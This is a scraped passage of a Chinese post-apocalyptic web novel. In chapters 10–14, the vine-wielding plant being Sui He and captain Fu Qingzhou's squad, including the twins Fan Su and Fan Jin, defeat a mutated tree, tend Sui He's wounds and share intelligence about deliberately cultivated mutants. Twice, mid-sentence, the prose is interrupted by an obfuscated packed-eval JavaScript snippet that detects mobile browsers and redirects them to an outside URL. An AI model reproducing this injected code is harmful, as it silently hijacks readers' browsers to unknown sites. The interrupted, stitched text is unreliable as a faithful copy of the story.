“我看你的异能是藤蔓,还是粉色的,很酷啊!”梵溯看着他手里那一根粉色的藤鞭,“我小时候也可喜欢粉色的东西,我觉得超级可爱的,你也长得很可爱。” “对了,你刚刚是不是叫队长叫「洲洲」啊?哇塞你竟然没被他揍吗?” 岁禾抿了抿唇,慢慢地放松了警惕,扬起一抹笑,“是叫粥粥啦,我觉得很可爱啊,他才不敢揍我呢,不过他老是嫌弃我吵。” “我哥也老是嫌弃我吵,他和队长一个死板样,一天天板着一个脸,用别人的话来说就是闷骚!”梵溯频频点头,又一脸愤愤地控诉。 岁禾歪了歪脑袋,“闷骚是什么意思?” 还没等梵溯回答,岁禾的心脏忽然传来一阵疼痛。他皱起眉头,视线死死落在那一片黑暗之中。 “就是……”梵溯刚要开口,岁禾就站起来,收起了手里的藤鞭,直直朝那片黑暗里跑去。 “诶,你去哪?”梵溯连忙跟上去他的脚步,跟着一起跑进去。 一阵局部风吹来,岁禾操控着藤蔓缠上梵溯的腰,带着他避开了那一阵风。随后两根藤蔓从地上升起跟着他一起窜进那一片黑暗中。 那一阵看似是风的东西,里面夹着许多锋利的叶片,虽然躲避及时,但梵溯的脸上还是被划了一道口子。 粉色的藤蔓缠上傅清洲和梵烬的腰间,带着他们往旁边躲开。 这里面有些暗,周围被密不透风的树包围着,空地的中心是一棵差不多两米高的树,但身躯却很大,几乎需要三个人才能抱得住。 那棵树有些秃,还有被烧焦的味道。绿色的枝条更加忙乱地在空中飘着。 粉色的藤蔓从地底下升 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15775862|174721||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起,隔绝出了一道墙,几人终于有了喘息的机会。岁禾直奔傅清洲,连检查都没有就直接开口:“你受伤了?” 傅清洲掀起眸子望着他沉默了一会儿,道:“你怎么知道?” 果然,岁禾心脏的刺痛感觉不像是假的。当初为了救人,现在他和傅清洲相当于心连心的状态,如果只是小伤还行,但严重一点的话他就会感觉到。 “哥!”梵溯这时候也跑过来,在梵烬身边蹲下,把他扶起来。 “你进来干嘛?”梵烬说:“你快出去,近战根本不适合你。” 地面一阵晃动,岁禾竖起的藤蔓墙被破开,几个人的身形晃动了一下,然后无数的枝条破土而出。 梵烬把自己弟弟护在身后,双手燃起火焰,扔出的火球把朝他们袭来的枝条烧毁。 岁禾手心幻化出一根嫩粉色的枝芽,在傅清洲挥着剑砍掉袭来的枝条时,强硬地抵开他的嘴巴,把枝芽塞进他的嘴巴里。 一条粗大的枝条朝二人袭来,岁禾来不及幻化藤蔓,只好在地上滚了两圈,躲开了伤害。而刚刚枝条落下的地面,被劈开了一道口子。 岁禾来不及起身,地上蠕动的枝条缠住他,随后把他拉回自己身边,悬挂在头顶。 “小兄弟!”梵溯大喊。 岁禾被捆在半空中,拼命地挣扎着,但越动枝条收缩得越紧。他一边挣扎一边说:“别管我,保护好自己。” 这是对傅清洲说的。 在很早之前他就提醒过傅清洲的,如果要带他离开,那很多危险就避免不了。这还只是开始而已,未来的路,岁禾不知道还会有多艰难。 难道他真的没办法离开这座森林吗? “别伤害他。” 眼看梵烬要升起火焰,被傅清洲阻止了。 梵烬看了傅清洲一眼,又看了一眼半空中的岁禾。他这一手火焰下去,确实会伤害到岁禾,而且岁禾也是植物异能。 傅清洲看出来了,这个异变种只想要岁禾,只要岁禾在它手里,连攻击都减少了。 “怎么办?”梵烬看向傅清洲。 “烧不死,砍不断。”傅清洲说:“比想象中的还要难缠。” 岁禾的双手扒拉着缠在自己腰上的枝条,一边对三人说着:“你们先跑吧。” “我们小队从来不会放弃同伴!”梵溯架起弓,箭矢快速地飞出去,刺穿了枝条。 一根枝条悄无声息地来到梵溯身边,给了他重重一击,弓掉落在脚边,人却生生飞了出去。 “溯!”梵烬连忙跳过去,飞速跑向梵溯的方向,才得以接住自己的弟弟,没让他摔在地上。 因为梵溯这一箭,原本消停的异变种又开始狂怒起来,枝条在地上扫了一圈,三个人连忙跳到旁边的树上去。 岁禾喘息了几声,道:“你们打不过它,快跑吧。” 锋利的树叶出现,朝着几人飞去,岁禾的双手没有被禁锢,他操控着藤蔓竖起一堵墙。有了前车之鉴,这一次的藤蔓墙比之前的还要牢固,厚度还要深。 三个人的身上都受了伤,有了藤蔓墙的支撑,几人迅速整理好站位,继续抵挡来自地底下枝条的攻击。 “扑通扑通扑通—” 一阵心跳声在战斗中格外的明显,其余人似乎也都听见了,一起错愕地回头看着对方。 时间仿佛禁止了。 11. 第 11 章 心脏跳动的声音太快了,貌似还是从那一堵藤蔓墙里面穿出来的,里面是被抓住的岁禾和那一棵异变种。 傅清洲有一种不好的预感。 这种感觉越来越强烈,他的心脏也跟着一起跳动得很快,仿佛不受自己控制一样,生生地刺痛着。 “怎么回事?”梵溯摇摇晃晃站起身,刚刚被摔的那一下,受力全被梵烬挡住了,他身上只有被枝条抽出的伤口,而梵烬身上满是擦伤和脏乱的泥土。 二人相互搀扶着,呆呆地望着那一堵藤蔓墙。忽然,眼前的藤蔓赫然消失,岁禾被甩了出来,撞到树干上,又掉落在地上。 而原本那棵烧焦的植物异变种,瞬间在那一瞬间发出紫色的光芒,树干的深处是一颗巨大的紫色心脏,在疯狂跳动着。刚刚的心跳声似乎就是从那里发出来的。 被遮住视线的那一段时间,岁禾在里面做了什么?为什么会突然变成这样? 三个人看着岁禾吐出一口血,半靠着那棵树,从自己左手处硬生生拔出一根尖刺,鲜血一下子翻涌而出。岁禾咬了咬牙,吐出一句:“集火攻击心脏。” 岁禾手腕上的伤实在是太深了、太痛了。鲜血一直涌出来,染红了大地。 梵溯上前撕开一块布替他止血,被岁禾推开了。 “别动我。”岁禾说:“你跟他们一起打。” “你需要止血。”梵溯依旧执着,“小兄弟,你这个伤口很严重的,处理不好会发炎。” 岁禾又喘息了一口,他没有太多的精力和他们纠缠了,使用异能耗费了他太多能量。现在岁禾需要紧急休息,但梵溯实在是太能叽叽喳喳了。 傅清洲和梵烬正在集火攻击那棵树的心脏。巨大的心跳声很明显,没有人知道它是怎么会突然露出自己的弱点的,也没有人知道岁禾到底做了什么。 “溯。”梵烬在空闲之余还提醒了一句:“他受伤严重,注意被感染,你自己小心点。” 感染…… 岁禾和梵溯一同愣住了。 这个词岁禾知道是什么意思。很久之前库里尔有跟他说过这个意思,就是人类在被异变种感染之后,如果受伤严重的话,就会被感染变成怪物一样的东西。 而岁禾没想到有一天也会这样子遇到。 不过他本身就是异种,应该不会被感染的吧? 傅清洲和梵烬又被随之而来的枝条拉走了注意力。 梵溯垂下眸子不知道在想什么,但是手上还是拿着布条在给他做简单的包扎。 “你别担心。”梵溯说:“这点不算很严重的伤,应该不会感染的。你不要害怕,也不要推开我了。” 岁禾抬眼望向他,眸子里满是不可置信。梵溯的声音有些发抖,不知道是身上的伤口发疼,还是因为想到了不好的事情。 “好了。”梵溯收起手,拍了拍,扬起一抹笑,“你在这儿休息一下吧,我去帮忙了。” 他说完,拿起弓转身进入了战场。 岁禾看着手腕处的黑色蝴蝶结,又看向远处的三个人。 梵溯站在后面拉弓,飞出去的箭矢在那一瞬间燃起火光,直直冲向远处的那棵树。没有了外皮的包裹,弱点被暴露出来,那棵树只好把注意力都放在保护自己的弱点身上。 岁禾看着混乱的打斗,嘴角勾起了一抹笑容。 原来……自己还能吸收这些东西。 梵溯作为一个远战的战士,在前面有近战的情况下,他是危险最大的。所以异变种直接把目标落在了梵溯身上,悄无声息的枝条从地上升起,上面长满了刺。 岁禾抬起手,一根粉色藤蔓裹紧梵溯的腰,带他来到半空中。 “溯!” “我没事儿!”梵溯说,“你跟队长继续集火攻击吧。” “扑通—扑通—扑通—” 心脏跳动的声音好像又慢了一些,那棵树不知道还能坚持多久,被火烤又被冰剑刺伤。冰火两重天的感觉实在不好受。 异变种在众人讶异的目光里,树冠张开了血盆大口,像是要把他们一起吞进嘴里一样,发出腐烂的腥臭味。 岁禾着急得站起来,直接扔下梵溯不管了。他一边跑向傅清洲他们,一边幻出藤蔓支援他们,裹着他们的腰要把他们带离。 可是在关键时刻,岁禾的能量就此耗尽,被托在半空中的二人随之掉落,眼看就要落入那血盆大口里了…… 岁禾的心脏跳动得很快。 能量耗尽之后,他摔在地上,瞪着双眼看着前方,心在那一刻快要跳出胸膛了。 “哥!” 随着梵溯的声音落下,岁禾闭上了双眼。 一条巨大的藤蔓从地底下冒出来,速度极其的快,冲向前方那一颗巨大的心脏。 “噗嗤。”的声音响起来,诡异的红色藤蔓刺穿了异变种的巨大心脏,并且长出了几根刺,四面八方地刺穿了。 周围仿佛窒息了一般。 梵溯惊讶地看着这一幕,空中的两个人落在地上,也是不可置信地看着这一幕。 四个人中,只有岁禾倒在了正中央,因为把最后的能量用来救人了,动作幅度也太大了,原本包扎好的手腕又开始涌出鲜血。 他倒在血泊中。 傅清洲摸着自己的心脏,怪异的感觉又传过来,刺痛刺痛的,是他说不出来的感觉。 “哥!”梵溯跌跌撞撞地跑向梵烬,在他身边蹲下来,替他检查伤口。 “我没事儿。”梵烬喘着气,说:“你怎么样?刚刚有没有伤到你?” 梵溯摇摇头,“那位小兄弟的异能救了我,他看起来很强。藤蔓的速度好快好快。” “等等,又是晶核?”傅清洲离异变种是最近的,发出的异光把他照亮,只见那颗心脏里缓缓冒出来一个黑色晶体状的东西。 又是高级晶核。 运气太好了,但是也差点丢了命。 “队长。”梵烬问:“这根红色的藤蔓是怎么回事?异变种自己反噬自己了?” 熟悉的红色藤蔓。 但傅清洲不确定。他的视线落在晕在地面的岁禾上。如果没猜错,应该是岁禾的,但也不应该是这样的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15775863|174721||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 红色和粉色。 还是相差太多了。 梵溯的伤势没那么严重,他正要跑过去拿那颗浮在空中的晶核,被梵烬拉了一把,“别去,小心有诈。” “死绝了。”傅清洲上前去拿,“心跳声都听不见了。收拾收拾,先去旁边整顿一下吧。” 梵溯扶着梵烬,看向岁禾,“这位小兄弟怎么办?他……还活着吗?” 傅清洲收起晶核,一瘸一拐地走到岁禾身边蹲下,摸了摸他的鼻息。 还在。 “走吧。”傅清洲弯腰把他抱起来,“天要黑了,先去附近整顿收拾一下吧,大家都累了。” 众人又回到那一条溪流旁边。 傅清洲把岁禾放到地上,从背包里摸出很久之前带上的伤药,又解开梵溯刚刚给他止血包的布条。 他手腕上的伤口很深,几乎是穿透了整个手腕,鲜血一直溢出来。 “溯,去帮一下队长。”梵烬蹲在溪流边,一边清洗自己的伤口,一边对梵溯说着。 他这边处理得差不多了,但傅清洲的伤势也挺重的,还有一个岁禾在旁边,更加艰难了。 “队长,我来帮你。”梵溯撩起自己的衣袖,看着岁禾那狰狞的伤口,有些触目心惊的。 傅清洲递给他一块干净的布,梵溯接过就跑去溪流边洗干净,拿回来慢慢在岁禾手腕处轻轻擦拭,把周围的血迹擦干净。 擦干净之后,傅清洲拿出一瓶药,他扶起岁禾让他靠在自己身上,把药瓶递给梵溯。 “要是寻姐在就好了。”梵溯一边把药倒在岁禾的伤口上,一边嘀咕着:“寻姐的治疗术很厉害。” 睡着的岁禾拧起眉头,因为疼痛闷哼出声。 失血太多了,岁禾的脸色很苍白,这个药更是让他在睡梦中硬生生疼醒过来。 他睁开眼,有些虚弱地呼出声,“我疼……” 傅清洲摁着他的手腕,依旧是面无表情的模样,语气却柔和了不少:“没能力就别逞能,现在喊痛也没用。” 岁禾哼哼两声,“我能打得过你,我才不弱呢。” 见他嘴硬,傅清洲轻轻捏了捏他伤口周围。岁禾立马疼得呼出声,一边嘀嘀咕咕地骂人。 梵溯没见过这副模样的队长,默默地上药给岁禾包扎。 “轻一点。”傅清洲出声。 岁禾把头埋在傅清洲胸口处,因为疼痛忍不住哼哼着。 而梵溯在听见这句话之后有些不可置信地抬头看着自己队长,连包扎的手都有些发抖了。 等等,这好像不是他们队长。 梵溯依稀记得很久之前,自己刚进队的时候出任务受伤,他的铁面无私的队长拿着酒精面无表情地给他喷的时候,可不会说这种轻点的话。 而且还会说:“一个男人,痛也不能承受吗?” 岁禾又哼了两声之后,又开始昏睡过去了,后面的事情完全不知道了。 而梵溯包扎完之后,像是见鬼了一样跑回梵烬身边,悄咪咪、小声地道:“哥,我们好像找错队长了。 12. 第 12 章 夜半的时候,岁禾是被手腕上迟来的疼痛痛醒的。四周静悄悄的,他不知道什么时候躺在帐篷里,外面传来一阵又一阵的低语。 大概是那几个队员正在聊着什么,梵溯的笑声是最大声的。 岁禾蜷缩起来,手腕被刺穿的疼痛很难受,他很少受这么严重的伤,而这个伤还是他自己给自己伤的。 尖刺扎透手腕,明明吸收了很多异变种的能量,可他自己还是觉得很累很困。 睡不够,但太疼了。 空气中飘来一阵香味,是和那天在山洞里一样的味道。这个味道一出来,岁禾的肚子就开始咕咕叫了。 好饿。 他不得已坐起来,在帐篷里环视了一圈,发现傅清洲的背包就放在旁边。味道是从背包里发出来的,岁禾咽了咽口水,饥饿感强烈地冒出来。 他没顾得上在和傅清洲说,自顾自爬到背包那边,从里面翻出了一颗黑色的菱形水晶。 是高级晶核,这个东西傅清洲给他科普过,是很重要的东西。 岁禾闻着香味,口水顺着嘴角流出,他还在作抗争,不知道该不该吃,如果傅清洲又生气了怎么办? “诶?你醒了?”梵溯掀开帐篷的帘子,就看见岁禾盘腿坐在他队长的背包面前,手里拿着一颗高级晶核。 大概是太专注了,岁禾没发现有人靠近,被梵溯的声音吓了一跳,缓缓扭过头看向梵溯。 他嘴角上沾着口水,眼神也并不和善,歪着头看梵溯的时候,把人吓了一跳。 “你、你……”梵溯结巴了一下,又小心翼翼地开口:“你很饿吗?外面有、有吃的……要不要来吃一点?那、那个,晶核不能吃的……” 好在傅清洲过来解围了,他掀开另一边的帘子,示意梵溯先离开,自己进去之后把帘子放下来,遮住了夜光。 黑夜里的岁禾视线很清晰,他看着傅清洲朝他走来,在他面前蹲下,缓缓朝他伸出手。 “给我。” 岁禾像个护食的崽,警惕地看着他,手里紧紧捏着那一块黑色晶核。他们不知道以这个姿势僵持了多久,岁禾才把手里的东西递过去给他,抬手擦了擦自己的口水,把头扭向一边。 “想吃的话,拿情报跟我换。”傅清洲手里把玩着那一块黑色的晶核。在黑夜中,他的眼神也很犀利,但也只能看清眼前人的后脑勺,以及有些灵动的耳朵。 岁禾听完这句话,又扭头回来看他,眼神里充满了天真懵懂,“你要问什么?” “你晕过去之后的红色藤蔓。”傅清洲停顿了一下,“你知道是什么吗?” 岁禾歪了歪脑袋,摇摇头。 “我都晕过去了,我怎么知道是什么?”岁禾怀疑他是不是脑子生锈了,跟常人一样转不过来,“再说了,我也没看见你说的那根红色藤蔓。” “好。”傅清洲点头,“那换一个。” 岁禾依旧看着他手里的那块黑色晶核。 “你搭起藤蔓墙之后,在里面做了什么?为什么异变种突然变得虚弱,为什么会突然露出弱点。” 岁禾动了动唇,掀起眸子和傅清洲对视上。周围很安静,他没有立刻回答这个问题。外面是梵溯两兄弟的声音,几乎都是梵溯在说话。 那个陌生的人类总是喜欢大惊小怪的。 “我……”岁禾欲言又止。 傅清洲扬了扬手里的晶核,近乎是威胁着:“肚子饿了吧?我听见声音了,这次你只要跟我交换情报,我就把这块东西给你。” 岁禾缓慢地眨了一下眼,黑夜中他能看清傅清洲眼里的犀利,但对方应该看不清他的脸庞。 “我不知道。”岁禾垂下眸。 “我、我是植物异能者,我好像可以吸收它的能量。”岁禾缓慢地说:“所以它的弱点就暴露出来了,其他的我就不知道了。” 岁禾现在还有些虚弱。没有太阳的日子他实在是太难受了,能量恢复太慢了。 也不知道傅清洲信还是没信,他不说话岁禾也没跟着开口。眼睛却一眨不眨地盯着他手里的东西。 肚子咕噜一声很不合时宜地叫出来,下一秒,傅清洲扬起手,把黑色晶核抛到他怀里,起身出去了。 岁禾嗅着晶核的清香,舔了舔唇角,直接把晶核塞进嘴里一口咬碎嚼了几下咽进去。吃完之后他感觉自己的能量已经恢复了不少,于是起身也一起出去了。 今晚难得没有下雨,所以大家围在一起,中间是燃起来的火堆。 梵溯正靠着他哥的肩膀打盹,嘴上还在叽叽咕咕说着什么,在看见岁禾的时候,忽然想到了自己刚刚看见的那个表情,瞬间就清醒得蹦起来。 所有人的视线都落在他身上。 “没事儿……有个东西咬我屁股。”梵溯连忙假装揉了揉自己的屁股,视线却不自觉落在岁禾身上,犹豫了好一会儿才开口:“你、你怎么样了?” “我好了。”岁禾说,顺势坐在傅清洲的身边,抬起自己的左手,道:“粥粥,我好疼啊。” 梵溯:“?……” 这是什么法子的好? 傅清洲给他递了一条烤鱼,又扫了他一眼,最后问:“阿烬,你身上还有药吗?” 梵烬在自己身上摸索了一下,从口袋里摸出一瓶药扔过去,“还有半瓶,省着点吧,准备没了。” “是呀是呀,没有药的话,我们很难活着出去的。”梵溯重新在旁边坐下,视线却还是落在岁禾身上。 岁禾摇头拒绝了递过来的药和烤鱼。人类的药物对他的作用并不是很大,所以他用了其实也没什么用,而且他的伤口看起来挺严重的,这点人类的药对他更是没什么用了。 “我可以自己治。”岁禾说着,单手解开了左手上的那块黑色的布,露出狰狞的伤口,鲜血还在翻滚,被挡着没办法流出来,布条被解开,瞬间顺着他的手腕往下流。 即便见过太多这样的伤口,但大家还是忍不住移开了视线,梵溯皱着眉头,忍不住关心他,“可是伤口这么严重,你不用药的话会发炎,伤口会腐烂的。” 岁禾抿着唇。从他出来之后,梵溯的视线就一直在他身上,不知道是不是因为在里面看见了他那副表情,有些害怕他。 视线相撞的那一刻,梵溯还是有些心虚地抬手摸了摸鼻子,然后低下头给火堆添柴火。 “不用留着。”梵烬也劝说:“你伤口严重就用 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没有人回答他,傅清洲正低头吃着烤鱼,梵烬也在默不作声的。最后还是梵溯跳出来,坐到他身边,“因为我跟哥哥是双胞胎啊,所以才长得一模一样。” 岁禾见识过的人类太少了,根本没接触过人类的世界,不懂得人类多少的常识和认知,所以不知道很正常。 在岁禾昏睡的时间里,傅清洲简单地解释了一下关于岁禾的身世,也只是说他是一个从小生活在这边的野人,并没有暴露他是异种的身份。 所以岁禾在帐篷里露出那样的表情的时候,梵溯还是有点害怕的。他没见过野人,这是第一次见,而且岁禾看上去人模人样的,和小说里形容的野人完全不一样。 “哦。”岁禾没继续问下去,虽然他还是不知道双胞胎到底是什么意思。但一边的傅清洲伸手拽了他一下,他忽然想起来之前赶路的时候傅清洲提醒过他别多问。 这个问题在很久之前库里尔也提醒过他,告诉他如果到了人类世界的话,不要把对人类的好奇一股脑地问出来,否则这样会很容易暴露身份的。 他的处境就会很危险。 傅清洲重新把烤鱼递过来给他,这次岁禾接了过去,慢慢地咬了一口。 左手上的伤口在慢慢地愈合。梵溯还觉得很神奇。 “哇塞,小兄弟,你这是又能打又能奶啊?”梵溯盯着他那伤口,“虽然你这治疗术不如寻姐,但还是很厉害啦。” “对了,队长还没有跟我们说过你的名字呢,你叫什么啊?” “岁禾。” “我叫梵溯,我哥叫梵烬。”梵溯傻笑了一下,“诶,带着两块冰块脸,真的很无趣啊,还好终于有个人跟我说话了。” “你吃饱没?”梵溯一边说着,一边把脚边的烤红薯推到他面前,“这是我发现的红薯!烤红薯,可好吃了,你快试试。” 岁禾看着地上那两个黑乎乎的东西,最后抬起头朝梵溯扬起一抹笑。 “谢谢你。” 人类也不是那么可怕嘛。 13. 第 13 章 岁禾实在是太难受了,手腕疼不说,打架耗费了太多的能量,岁禾又没办法晒太阳,只能光靠睡觉和吃东西来缓解。 即使有了高级晶核的滋补,他还是觉得自己的能量根本不够用,连围着这个火堆跟大家吃饭都觉得困得不行。 他一边吃着梵溯递过来的烤红薯,一边打着哈欠。眼皮耷拉着,看起来真的连眼睛都睁不开了。 梵溯一回头,刚要和他说两句话,就看见他脑袋一歪,靠着傅清洲的肩膀睡了一过去。手里还拿着吃了一半的烤红薯,吃得连嘴角都脏兮兮的。 “他这么困吗?”梵溯把要说的话咽回去,小声嘀咕了一句。 傅清洲看着自己肩膀上的脑袋,托着给他放到地上然后道:“这两天先整顿分享情报吧,暂时不用赶路了。” “为什么?”梵溯不解地问出声:“这里很危险的,我们必须尽快出去才可以。” 傅清洲抬眼看向他,又把视线落在睡着的岁禾身上,解释了一句:“他能量耗尽要靠睡觉恢复,暂时赶不了路。” 梵溯也跟着看向岁禾,有些欲言又止,但最终都没有开口。 “嗯。”梵烬倒是没说什么,“听队长的。” 梵溯一想到自己又要跟这两个冰块脸呆两天,就恨不得想把刚睡着的岁禾摇醒让他来陪自己聊天。 “来,分享情报。”傅清洲说:“安全基地怎么样?你们为什么会出现在这里?” 梵烬扭头看了一眼梵溯,后者立马就懂得了什么意思,紧跟着道:“安全基地暂时没有什么威胁,只不过第一小队正在分配新的队长,大家都不相信你不在了,一直和上头僵持着不肯换。” “我和哥是趁着出任务的时候跑出来的,上头分配的任务是重新清理明德村的异种。也就是我们分别前去的那一个村庄。” 傅清洲皱了皱眉:“不是已经清理过了吗?” 梵溯点头:“是清理过了,但不影响会再生。而且是你父亲下达的命令,可能长官也看出来我们想找你,所以重新下达了这个命令。” “队长,外面的异变种好像开始变得更强了。”梵烬说:“这是研究院那边得来的研究结果,人类的增长太慢了,但是异变种繁衍很快。” “以前清理过的村庄都开始重新出现异变种。” “怎么会这样?”傅清洲问。 “张博士和安博士说,这可能是有人在想尝试控制异变种。”梵溯接着分享情报,“我们出任务的时候,带回来过异变种的样品,初步认为那些重新出现的异变种是被特意培养或者灌输了药物的。” “目的是什么?” “不清楚。”梵烬摇头:“暂时也没人知道是什么人给那些异变种灌输了药物。” 梵溯一拍脑袋,“对!而且那些被灌输药物的异变种和培养出来的异变种更强。” 都已经到了末世了,到底是谁在培养这些东西,目的又是什么? 就连傅清洲也想不通了。 “还记得你们进来的路吗?最快出去要多久?” “我跟阿溯花了半个月才进来。”梵烬说:“如果要出去的话,估计也差不多。我们可以原路返回。” 梵溯跟着一起点点头。 但是要带上岁禾的话,可能时间会出现偏差,而且他会带来意想不到的危险,以及能量耗尽之后,需要靠睡来补充能量。 几个人又聊了快两个小时,把所有的情报都分享之后,天上忽然落下几滴雨水。 “诶?下雨了?”梵溯抬头看向黑漆漆的天空,原本还有一些月光,不知道什么时候被乌云遮住了。 雨忽然就下大了起来,梵烬推了他一把,起身的时候顺便把他拉起来,“回帐篷去。” 傅清洲也站起来,弯腰顺便把岁禾抱起来,一起挤进帐篷里去。 帐篷不大也不小,只有岁禾一个人半靠在傅清洲怀里,其余两个人几乎蜷缩坐在一边,腾出了位置。 刚好能挤下四个人。 四个人挤在这个小小的帐篷里,很安静,只有大家的呼吸声和外面的雨声。 因为末世,因为觉醒的异能,让他们能走在一起,一起战斗,成为互相能托付的人。 末世沦陷之后,家人朋友,死的死,被感染的感染。能活下来的都是觉醒异能之人,以及运气极好的普通人。 他们相聚在一起,又因为背负的责任而拯救着这个即将崩塌的世界。 雨声滴答滴答地响着,傅清洲看着靠在自己怀里熟睡的人。在这一刻他很希望库里尔队长没有看错人,他也没有做错这个选择。 他希望岁禾真的是拯救这个世界的关键点。起码不要再让大家过得如此的艰苦了。 “还有干净的布吗?” 黑暗中,傅清洲问出声。他盯着岁禾的左手手腕,心脏不由得一阵酸涩,这不该是他的感情,可他就是控制不住的。 “应该还有一点纱布吧。”梵烬说着,又从自己的口袋里摸出一卷东西,扔过去给傅清洲。 梵溯已经困得不行了,盘腿坐在旁边靠着自己老哥,听见他的声音之后又道:“哥,你的口袋怎么感觉跟我的不一样?你的跟百宝箱一样什么都有。” “睡你的吧。”梵烬没回答他的问题。 因为梵溯从小到大一直是个鲁莽的性子,觉醒了异能之后更甚,虽然只是远战,但偏偏是远战才会最容易被盯上。 所以他很容易受伤,梵烬才一直随身带着药这一类的东西。 耳边是梵溯均匀的呼吸声,梵烬看了一眼正在细心地给岁禾包扎的傅清洲,也跟着一起闭上了眼睛。 反正有队长在的话,肯定不会有什么可以担心的事情。 毕竟傅清洲可是他们第一小队的定心丸啊。 第二日的时候,太阳拨开云雾,终于出了一点细碎的阳光。四个人打算休整一番,起码等岁禾恢复了之后才准备开始赶路。 双生子来的那条路上几乎没什么敌人,所以应该可以避免很多战斗。但如果要带上一个岁禾的话,就不一定了。 傅清洲和梵烬拿着树枝在地上一起规划路线。梵溯蹲在溪流边用清水洗了一把脸,又从小溪里摸了两条鱼上来。 岁禾一掀开帘子,细碎的阳光刺得他眯起双眼,好不容 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“呜哇!”梵溯一回头就看见挂在树梢上的岁禾,被吓了一跳,他走过去拍了拍胸口,“你什么时候出来的?” 岁禾睁开双眼,疑惑地看向他。 梵溯走上前,看着他用藤蔓搭起来的吊床,觉得老酷了。 “队长不是说你要睡觉才能恢复能量吗?”梵溯蹲在一边,死死盯着他的吊床。 岁禾又闭上了眼睛,不懂得他的意思,“晒太阳也可以。” “你们植物异能的人真奇怪。”梵溯嘀咕着。 岁禾却因为他这句话皱了一下眉,随后翻了一个身背对着他。 梵溯:“……” 脾气看起来也挺古怪的。 但是他不依不饶的,戳了戳那张藤蔓吊床,“喂,让我也躺躺呗?还有你这样容易压着伤口,换个姿势吧。” 岁禾被他吵得没办法,直接坐起来和他对视,脸上一本正经的,“我想睡觉。” “噢,好吧。”梵溯撇撇嘴,“那你睡吧,我不打扰你了。我就是觉得好无聊,那边的两个一直在讨论出去的路线,没人陪我说话。” 岁禾又打了一个哈欠,看起来真的困得不行。明明他已经吃了高级晶核滋补了,但还是觉得自己体内的能量所剩无几。 他抬手一挥,在旁边的两棵树上又搭了一个藤蔓吊床,重新躺下去,“那你也睡吧。” 梵溯双眼亮晶晶的,屁颠屁颠地躺上藤蔓吊床,但嘴上也不忘关心他,“诶,你这样的话会不会消耗能量啊?那是不是又要进入休眠状态了?” “不用。”岁禾回他,“不是打架的话,我的能量耗费很小,几乎可以忽略不计。” “噢噢噢。”梵溯晃了晃,露出来一个满意的笑容,“谢谢你啊。” 岁禾睁开一只眼看了一眼,又重新闭上了。 他没说什么,只是嘴角勾起来,出卖了自己的心情。初入人类社会的小异种,碰上了还不错的人。 这就足以让他开心了。 14. 第 14 章 因为要补充能量,岁禾躺在藤蔓搭起的吊床上晒着太阳,简直舒服得不行。他听着身边梵溯的碎碎念又沉沉地睡了过去。 等梵溯念叨了半天都没等到岁禾的回答时,起身一看发现人家躺在吊床上睡得正香。风掠过树梢,光斑也随之在他脸上跳跃着,细碎的阳光洒在上面,晕染上一层琥珀色的光晕。 “就你能睡!”梵溯不满地嘀咕着。结果他刚嘀咕完的下一秒,身下用藤蔓搭的吊床就消失了,他整个人直接掉在了地上,摔得屁股生疼。 梵溯揉了揉屁股站起来,视线落在岁禾熟睡的脸上,“不就说了一句小小的坏话嘛,怎么还摔我的?真讨厌!” 阳光明媚,透过树梢落在几个人身上。 聊完了逃离的规划路线,傅清洲二人才起身,在昨晚的那一块地方生了一个火堆,把梵溯之前抓的那些鱼串起来烤。 这是他们的午餐。 梵溯也没在打扰岁禾睡觉,而是重新来到梵烬身边,手贱地又开始去扒拉自己的哥哥。 “哥,我好无聊。”梵溯抱着膝盖,回头看了一眼还在睡觉补充能量的岁禾,“他这补充能量要多久啊?我好不容易找到一个可以跟我一起聊天的人诶。” “多则两天,少则一天。”傅清洲在旁边补了一句。 梵溯盯着火堆里的烤鱼,“这么久?那我们不是还要在这里多待两天吗?” “差不多。”梵烬说:“你可以去玩,但别走太远,在我们能看见的范围内。” 他知道自己弟弟是个坐不住的人,而且格外的调皮话多,所以他没管得太严,但这座森林里处处都是危险。 这附近也没什么好玩的地方,梵溯左看右看了一下,依旧还坐在原地不动弹。 他背对着岁禾的方向,旁边是傅清洲和梵烬,二人在专心烤鱼,也没怎么注意到周围。 结果梵溯一扭头,原本藤蔓吊床上人已经不见了,正落在地上。原本梵溯还想着笑话他这个睡觉不老实的,结果眉眼一挑。 他看见了岁禾正在缓慢地移动,不像是自发性的,而且岁禾还在睡觉。 等反应过来的时候,梵溯已经站起来拉着弓,对准远处那一条蠕动的东西。 看着他的动作,另外二人也不禁跟着站起来,视线一起警觉地落在远处的岁禾身上。那个熟睡的人里确实还没有醒,躺在地上,底下似乎有什么东西正带着他离开。 梵溯的视线盯住远处那一片黑暗,那个方向是昨天他们杀死异变种的方向,幽幽的黑暗中,里面透着一丝诡异。 傅清洲看着这个现状,忽然就沉下脸,他抬手拍了拍梵溯的肩膀,示意他收回那把弓,而自己手里幻出一把冰剑,静悄悄地向着那个方向走去。 “哥……” “你在这里,别乱跑。”梵烬说完,跟上傅清洲的步伐。 昨天打架之后,确认那异变种完全死后,他们才真正放下心来的,结果现在忽然出现这个怪异的事情。 而且对方好像是冲着岁禾来的。 傅清洲很清楚也很明白,因为岁禾也算是异种的一类,只是不明白为什么会化成人形,也不明白为什么会让库里尔觉得他是末世的关键。 